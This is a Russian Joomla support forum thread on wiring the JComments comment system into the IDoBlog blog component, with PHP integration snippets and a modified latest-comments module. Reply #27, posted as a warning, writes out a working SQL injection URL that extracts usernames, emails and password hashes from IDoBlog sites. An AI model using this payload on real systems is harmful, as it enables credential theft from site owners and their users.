0 Пользователей и 1 Гость просматривают эту тему.
  • 31 Ответов
  • 18852 Просмотров
*

7Rei

  • Захожу иногда
  • 134
  • 20 / 0
Интеграция Jcomments + IDoBlog
« : 22.12.2008, 11:42:27 »
Добрый день.
Компонент IDoBlog использует свою систему комментариев. На остальной же Joomla используется Jcomments.
Возможно ли, чтобы Jcomments брал аватарки из компонента IDoBlog?
*

romanof

  • Осваиваюсь на форуме
  • 11
  • 0 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #1 : 09.03.2009, 22:43:05 »
Пошел в лоб  ^-^, коменты idobloga, отключил (поставил уравень только суперадмин), а потом везде вставил вызов JComments, в post.php (в templates):
Код: php
  global $mainframe;
  $comments = $mainframe->getCfg('absolute_path'). '/components/com_jcomments/jcomments.php';
  if (file_exists($comments)) {
    require_once($comments);
    echo JComments::showComments($row->id, 'com_idoblog', $row->title);
  }
а в других, просто кол-во коментов (пользовался http://www.joomlatune.ru/jcomments-developers-manual.html):
Код: php
  global $mainframe;
  $comments = $mainframe->getCfg('absolute_path'). '/components/com_jcomments/jcomments.php';
  if (file_exists($comments)) {
    require_once($comments);
    $count = JComments::getCommentsCount($row->id, 'com_idoblog');
    echo $count ? ('Комментарии ('. $count . ')') : 'Добавить комментарий';
  }

Я хочу попросить Smart`a как сделать чтобы комментарии можно было включать (в настройках) не только категории, а разделы.
А то блог  каждого пользователя -это категория, соответственно новый пользователь - новая категория. Пока при прямом вызове это не мешает, но вдруг?
« Последнее редактирование: 01.11.2009, 15:32:56 от smart »
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Интеграция Jcomments + IDoBlog
« Ответ #2 : 09.03.2009, 23:01:56 »
Я хочу попросить Smart`a как сделать чтобы комменты можно было включать (в настройках) не только категории, а разделы.
в ближайшее время - никак, в будущем планируется добавить возможность таких настроек для каждого из интегрируемых компонентов... но никак не раньше лета...
*

dn0006

  • Осваиваюсь на форуме
  • 12
  • 2 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #3 : 12.09.2009, 04:00:22 »
можно поподробнее по интеграции и замене дефолтной системы комментариев ?!
какие строки и в каких файлах менять ?
а то из постов что выше мне мало понятно, программистом не являюсь. так что извиняйте
*

Alex Revo

  • Завсегдатай
  • 1995
  • 109 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #4 : 01.11.2009, 13:13:44 »
Во вложении файл default.php шаблона nicomo
Думаю разберешься что к чему, и в post.php добавить вывод по описанной выше схеме.

P.S. Мне еще пришлось подправить модуль комментариев, чтобы генерил урлы по общей схеме.

[вложение удалено Администратором]
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Интеграция JComments + IDoBlog
« Ответ #5 : 01.11.2009, 15:34:11 »
P.S. Мне еще пришлось подправить модуль комментариев, чтобы генерил урлы по общей схеме.
а  модуль-то причем? ссылки формируют плагины JComments (/components/com_jcomments/plugins/)
*

Alex Revo

  • Завсегдатай
  • 1995
  • 109 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #6 : 01.11.2009, 15:43:54 »
Дело в том, что idoblog хранит записи в #__content и работать с ними в админке можно как с обычными статьями, соотв. JComments в модуле последних ябъявлений при выводе ссылке "readmore" делает url как для com_content:
/component/content/article/...

а нужен вид:
/[alias menu component]/viewpost/...

Поэтому я просто исправил $link в модуле, т.к. у меня в блоге не будет других мест для комментирования.
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Интеграция JComments + IDoBlog
« Ответ #7 : 01.11.2009, 16:31:25 »
соотв. JComments в модуле последних ябъявлений при выводе ссылке "readmore" делает url как для com_content
это если при интеграции указать в качестве компонента 'com_content', если же указывать, как положено, 'com_idoblog', то комментарии будут в базу ложиться как комментарии для 'com_idoblog' и ссылки будут в модуле строиться правильно
*

Alex Revo

  • Завсегдатай
  • 1995
  • 109 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #8 : 02.11.2009, 16:44:12 »
самое интересно, что у меня указано все "как положено"...
*

Alex Revo

  • Завсегдатай
  • 1995
  • 109 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #9 : 02.11.2009, 21:21:57 »
Кстати, в списке комментариев под записью, урлы в class="comment-anchor" тоже формируются для com_content, пришлось подправить шаблон вывода комментов.
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Интеграция JComments + IDoBlog
« Ответ #10 : 02.11.2009, 21:50:18 »
Ну судя по коду плагина com_idoblog.plugin.php (которому уже наверно года 2 точно):

Код: php
			if ($row->access <= $user->get('aid', 0)) {
$link = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catslug, $row->sectionid));
} else {
$link = JRoute::_("index.php?option=com_user&task=register");
}
других ссылок действительно на тот момент и не предусматривалось... Когда я делал этот плагин у компонента наверняка не было никакого роутера, а потом мне этот компонент резко стал не интересен - не приемлю spyware... а вот почему плагин из дистрибутива не убрал - не помню, может кто-то попросил отставить...
*

Alex Revo

  • Завсегдатай
  • 1995
  • 109 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #11 : 03.11.2009, 00:24:12 »
Да, компонент конечно не ахти какой, но если немного подпилить под себя, работать с ним можно. Я тут пишу не для того, чтобы обратить внимание на какие-то недоработки JComments, а просто чтобы обратить внимание тех, кто еще пойдет тем же путем интеграции.

idoblog в текущем виде не заслуживает усилий по разработке спец.плагина для JComments
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Интеграция JComments + IDoBlog
« Ответ #12 : 03.11.2009, 00:59:21 »
Да я все понимаю, я просто сначала не понять почему ссылки неверные... поэтому и полез в код проверить свою память. В общем если нужно, могу поправить данный плагин, хотя не уверен, что это нужно...

Re: Интеграция JComments + IDoBlog
« Ответ #13 : 06.11.2009, 22:34:41 »
Если не сложно, подскажите, где и что подправить.
Ситуация - на главной выводил последние записи блога. И ссылки вели на записи, как на обычный контент (раздел-категория-статья). И там уже появлялся JComments - но приписка шла как com_content .
А через блог вход на статью уже ничего не показывал, и комментарии приписывались как com_idoblog .
И, естественно, от com_content ничего не видно.

Из вашей переписки для себя вывел вот что:
  • можно сделать так, чтобы комментарии в контенте не выводились;
  • или же чтобы они прописывались как com_idoblog.

Если возможен второй вариант, то как?
P.S. Использую тему idobloger
*

Tender

  • Новичок
  • 3
  • 0 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #14 : 14.02.2010, 23:38:49 »
Можеть ли кто нибуть написать понянтно для особо тупых, как сделать что JComments работало на idoblog ?
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Интеграция JComments + IDoBlog
« Ответ #15 : 16.02.2010, 14:23:48 »
А почему бы не попросить автора idoblog встроить поддержку JComments в компонент? Мне кажется это лучше, чем потом при каждом обновлении искать свежее решение для интеграции.
*

Slay

  • Осваиваюсь на форуме
  • 20
  • 1 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #16 : 19.02.2010, 00:56:11 »
А почему бы не попросить автора idoblog встроить поддержку JComments в компонент? Мне кажется это лучше, чем потом при каждом обновлении искать свежее решение для интеграции.
Та уже задавали. Говорит что лучше развивать свою систему комментариев и т.д
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Интеграция JComments + IDoBlog
« Ответ #17 : 19.02.2010, 12:54:07 »
Та уже задавали. Говорит что лучше развивать свою систему комментариев и т.д
Ну так пусть развивает, раз ему охота изобретать велосипед... У меня никакого желания в чужом коде ковыряться нет, тем более потом каждый раз при выходе новой версии делать обновление инструкций. Странная в принципе у него позиция, ну да ладно...
*

romanof

  • Осваиваюсь на форуме
  • 11
  • 0 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #18 : 27.02.2010, 23:58:38 »
При такой интеграции, в модуле JComments, остаются ссылки на com_comnent, меня сегодня спросили как это исправить, решил выложить для всех, может пригодится. Менял запросы к БД и линки в зависимости от $object_group. Во вложении измененый файл mod_jcomments.php, напрямую лучше не заменять, т.к. предыдущая версия модуля, что изменилось не проверял.
Вложить не получилось. вот функция для примера
   function modJCommentsLatestCommented( &$params ) {
      global $mainframe, $my;

      $dbo = & JCommentsFactory::getDBO();
      $acl = & JCommentsFactory::getACL();
      $config = & JCommentsFactory::getConfig();
      $type_com = $params->get( 'select_component' );
      $object_group = trim($params->get('object_group', 'com_content'));

      if ( $object_group == 'com_content' ) {
         
         $sectionid = intval($params->get('sectionid'));
         $exclude_sectionid = trim($params->get('exclude_sectionid', ''));
         $exclude_sections = array();
         if ($exclude_sectionid != '') {
            $exclude_sections = explode(',', $exclude_sectionid);
         }
         
         $catid = intval($params->get('catid'));
         $exclude_catid = trim($params->get('exclude_catid', ''));
         $exclude_catids = array();
         if ($exclude_catid != '') {
            $exclude_catids = explode(',', $exclude_catid);
         }
         $class ='news-com';
         $query = "SELECT c.title, c.do_title ,c.id, COUNT(cc.id) AS comments "
            . "\n  ,cc.name , cc.date, c.id as slug, cc.id as catslug"
            . "\n FROM #__content AS c "
            . "\n LEFT JOIN #__jcomments AS cc ON c.id = cc.object_id"
            . "\n WHERE cc.published = '1'"
            . "\n   AND c.access <= '$my->gid'"
            . "\n   AND (c.publish_up = '0000-00-00 00:00:00' OR c.publish_up <= NOW())"
            . "\n   AND (c.publish_down = '0000-00-00 00:00:00' OR c.publish_down >= NOW())"
            . "\n   AND cc.object_group = 'com_content'"
            . ((!$catid && $sectionid)? "\n   AND (c.sectionid IN ($sectionid) )" : '')
            . (count($exclude_sections)? "\n AND (c.sectionid NOT IN (".implode(',', $exclude_sections).") )" : '')
            . ($catid ? "\n   AND (c.catid IN ($catid) )" : '')
            . (count($exclude_catids)? "\n AND (c.catid NOT IN (".implode(',', $exclude_catids).") )" : '')
            . "\n GROUP BY c.id "
            . "\n ORDER BY comments DESC"
            . "\n LIMIT " . intval( $params->get( 'count' ) )
            ;
      } elseif ($object_group == 'com_idoblog' ) {
         $class ='name';
         $query = "SELECT c.title ,c.id, COUNT(cc.id) AS comments "
            . "\n  ,cc.name , cc.date, ic.title as comtitle, ic.id_community_category as icc , ic.community_keyword as com_key, cc.object_group"
            . "\n FROM #__content AS c "
            . "\n LEFT JOIN #__jcomments AS cc ON c.id = cc.object_id"
            . "\n LEFT JOIN #__idoblog_communities AS ic ON c.catid = ic.id_category  "
            . "\n WHERE cc.published = '1'"
            . "\n AND cc.object_group = '".$object_group."'"
            . "\n GROUP BY c.id "
            . "\n ORDER BY comments DESC"
            . "\n LIMIT " . intval( $params->get( 'count' ) )
            ;
      }  elseif ($object_group == 'com_eventlist' ) {

         $query = "SELECT ev.title ,ev.id, evc.catname, COUNT(cc.id) AS comments "
            . "\n  , cc.title as comtitle "
            . "\n FROM #__jcomments AS cc"
            . "\n LEFT JOIN #__eventlist_events AS ev ON cc.object_id = ev.id   "
            . "\n LEFT JOIN #__eventlist_categories AS evc ON ev.catsid = evc.id  "
            . "\n WHERE cc.published = '1'"
            . "\n AND cc.object_group = '".$object_group."'"
            . "\n GROUP BY ev.id "
            . "\n ORDER BY comments DESC"
            . "\n LIMIT " . intval( $params->get( 'count' ) )
            ;
      }
      //echo $query;
      $dbo->setQuery( $query );
      $rows = $dbo->loadObjectList();   
      //print_r($rows);
      if ( sizeof( $rows ) ) {
         echo '<ul class="headers-list">'."\n";
         
         foreach( $rows as $row ) {
            $link  = JCommentsObjectHelper::getLink( $row->object_id, $row->object_group);
            //$title = JCommentsText::censor($row->comment );
            //echo $title;
            if (JCOMMENTS_JVERSION == '1.5' && $object_group != 'com_idoblog') {
               require_once (JPATH_ROOT.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php');
               $link = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catslug, $row->sectionid)). '&amp;Itemid=2#comments';
            } elseif ($object_group != 'com_idoblog') {
               $_Itemid = $mainframe->getItemid($row->id);
               $link = sefRelToAbs('index.php?option=com_content&amp;task=view&amp;id=' . $row->object_id . '&amp;Itemid=' . $_Itemid . '#comments');
            }
            
            
            if ($object_group == 'com_idoblog') {
               $link = JRoute::_('index.php?option=com_idoblog&amp;task=viewpost&id='. $row->id.'&amp;Itemid=6#comment'.$row->id);
            }

            if ($object_group == 'com_eventlist') {
               $_Itemid = 3;
               
               $link = JRoute::_('index.php?view=details&amp;id='. $row->id.'&amp;option=com_eventlist&amp;Itemid='.$_Itemid.'#comment'.$row->id);
            }
            
            $link_title = $row->title;
            $link_text = $row->title;
   if(!empty($link_title)) {
            if ( $params->get( 'showcomments' ) ) {
               $link_text .= ' <a class="comments-link" href="'.$link.'">' . $row->comments . '</a>';
            }
            echo '<li id="1"><div class="dt">';
            echo $row->do_title.' <a href="'.$link.'" title="'.$link_title.'" class="'.$class.'">'.$link_text.'</a></div>'."\n";
            if (!empty($row->comtitle) && $row->icc != 0  ) {
             $link_com = JRoute::_('index.php?option=com_idoblog&amp;keyword='. $row->com_key.'&amp;Itemid=6');
            echo '<a href="'.$link_com.'" title="'.$row_comtitle.'" class="club-link">'.$row->comtitle.'</a> '."\n";
            }
            
            if (!empty($row->catname) ) {
             $link_com = JRoute::_('index.php?option=com_idoblog&amp;keyword='. $row->com_key.'&amp;Itemid=6');
            echo '<span class="pre-name">'.$row->catname.'</span> '."\n";
            }
            
            
            echo '</li>';}
         }
         echo '</ul>'."\n";
      }      
   }
*

vasya000

  • Захожу иногда
  • 109
  • 0 / 0
  • Реально Вася :)
Re: Интеграция JComments + IDoBlog
« Ответ #19 : 11.06.2010, 14:47:19 »
Скажите как заменить ссылки "коментировать" на ссылку "ответить"?
*

Alex Revo

  • Завсегдатай
  • 1995
  • 109 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #20 : 11.06.2010, 14:57:42 »
Изменить слово в переводе.
*

vasya000

  • Захожу иногда
  • 109
  • 0 / 0
  • Реально Вася :)
Re: Интеграция JComments + IDoBlog
« Ответ #21 : 11.06.2010, 22:24:54 »
Изменить слово в переводе.
Alex Revo спасибо! ;) :D ;D
« Последнее редактирование: 11.06.2010, 22:43:12 от vasya000 »
*

voral

  • Новичок
  • 3
  • 0 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #22 : 07.07.2010, 16:00:42 »
Предлагаю свой вариант интеграции.
Итак
Незабываем сделать копии

a. файл com_idoblogs/assets/templates/<имя_темплейта>/post.php
1 Ищем код:
Код
<?php if( $this->items[0]->adsense_type=='t') echo $this->items[0]->adsense.'<br>'; ?>
Вставляем после него
Код
<?
    global $mosConfig_absolute_path;
    $comments = $mosConfig_absolute_path . '/components/com_jcomments/jcomments.php';
    if (file_exists($comments)) {
      require_once($comments);
      echo JComments::showComments($this->items[0]->id, 'com_idoblog', $row->title);
    }
/*
?>
2. Ищем в самом конце файла
Код
 <?php
   }
    ?>
Заменяем на
Код
 <?php
  */  }
    ?>

b. файл com_idoblogs/models/idoblog.php
Ищем
Код
function _getsumcomments($idarticle) {
$db =& JFactory::getDBO();
$query="SELECT * FROM #__idoblog_comments WHERE idarticle=".$idarticle." AND publish=1";
$db->setQuery( $query );
$db->query();
$sum=$db->getNumRows();
return $sum;
}
Заменяем на
Код
function _getsumcomments($idarticle) {
global $mosConfig_absolute_path;
$comments = $mosConfig_absolute_path . '/components/com_jcomments/jcomments.php';
if (file_exists($comments)) {
require_once($comments);
$sum = JComments::getCommentsCount($idarticle, 'com_idoblog');
}
return $sum;
}

c. готово.

Пока ковырялся с этим компонентом возникло желание сделать форк.
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Интеграция JComments + IDoBlog
« Ответ #23 : 08.07.2010, 02:29:54 »
Пока ковырялся с этим компонентом возникло желание сделать форк.
А смысл? Не лучше ли взять готовое и развивающееся решение типа LyftenBloggie или же собрать нужный функционал на базе FLEXIcontent или K2?
*

voral

  • Новичок
  • 3
  • 0 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #24 : 08.07.2010, 10:53:24 »
А смысл? Не лучше ли взять готовое и развивающееся решение типа LyftenBloggie или же собрать нужный функционал на базе FLEXIcontent или K2?
Если честно я первый проект делаю на Joomla. И как то выбрал идоблогс. ТОлько вчера столкнулся, что комментарии это проблема. Лифтен вчера пробовал, но лично мне как программисту быстрее (хватило минут 15 с учетом существования ваших рекомендаций по интеграции комментариев и галереи) идоблог допилить (по сути для работы сайта он все делает теперь, что мне нужно. допиливать нужно в плане удобностей админства, а это на готовность сайта не влияет.).

Кстати. По поводу JComments Latest. Не плохо бы иметь опциональную возможность в блоке разбивать по категориям. Т.е. у вас там хранится модуль-источник. Вот по нему и группировать, только прикрутить еще удобочитаемое название для группы.
« Последнее редактирование: 08.07.2010, 10:56:25 от voral »
*

Alex Revo

  • Завсегдатай
  • 1995
  • 109 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #25 : 08.07.2010, 10:59:01 »
Все бесплатные версии Idoblog содержат уязвимости на предмет инъекций, у меня был печальный опыт, после которого я отказался от этого компонента.
*

voral

  • Новичок
  • 3
  • 0 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #26 : 08.07.2010, 12:16:49 »
Все бесплатные версии Idoblog содержат уязвимости на предмет инъекций, у меня был печальный опыт, после которого я отказался от этого компонента.
спасибо. проверю
*

Alex Revo

  • Завсегдатай
  • 1995
  • 109 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #27 : 08.07.2010, 12:36:09 »
взлом идет через запросы вида: /index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0x3a,username,email,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users

*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Интеграция JComments + IDoBlog
« Ответ #28 : 08.07.2010, 16:23:34 »
Кстати. По поводу JComments Latest. Не плохо бы иметь опциональную возможность в блоке разбивать по категориям. Т.е. у вас там хранится модуль-источник. Вот по нему и группировать, только прикрутить еще удобочитаемое название для группы.
Ну так сделайте альтернативный модуль... я, к сожалению, не могу воплотить все пожелания
*

donklass

  • Новичок
  • 2
  • 0 / 0
Re: Интеграция JComments + IDoBlog
« Ответ #29 : 08.07.2010, 21:20:16 »
взлом идет через запросы вида: /index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0x3a,username,email,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users



Ну,закройте,что необходимо файлом .htaccess

И вообще не понимаю в данной теме вопроса интеграции. Ну,не устанавливайте mod_idoblog_comments вообще,а в настройках JComments включайте раздел blogs c категориями,являющимися именами авторов.И комментарии будут выводиться всегда и везде.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Jcomments на странице категории?

Автор romagromov

Ответов: 5
Просмотров: 2572
Последний ответ 12.12.2022, 17:01:38
от sivers
Интеграция с Community Builder

Автор Opposite

Ответов: 77
Просмотров: 65277
Последний ответ 20.09.2022, 11:22:26
от Vlad1
Отображение аватаров из JomSocial в JComments

Автор smart

Ответов: 33
Просмотров: 16503
Последний ответ 20.07.2020, 21:31:50
от darkknight
jComments + AlptaUserPoints Добавить текст в Подробности

Автор Nabla

Ответов: 3
Просмотров: 5136
Последний ответ 22.06.2020, 14:14:08
от Nabla
Интеграция JComments с SP Page Builder

Автор Proaqua

Ответов: 5
Просмотров: 4060
Последний ответ 14.06.2020, 11:53:38
от xpank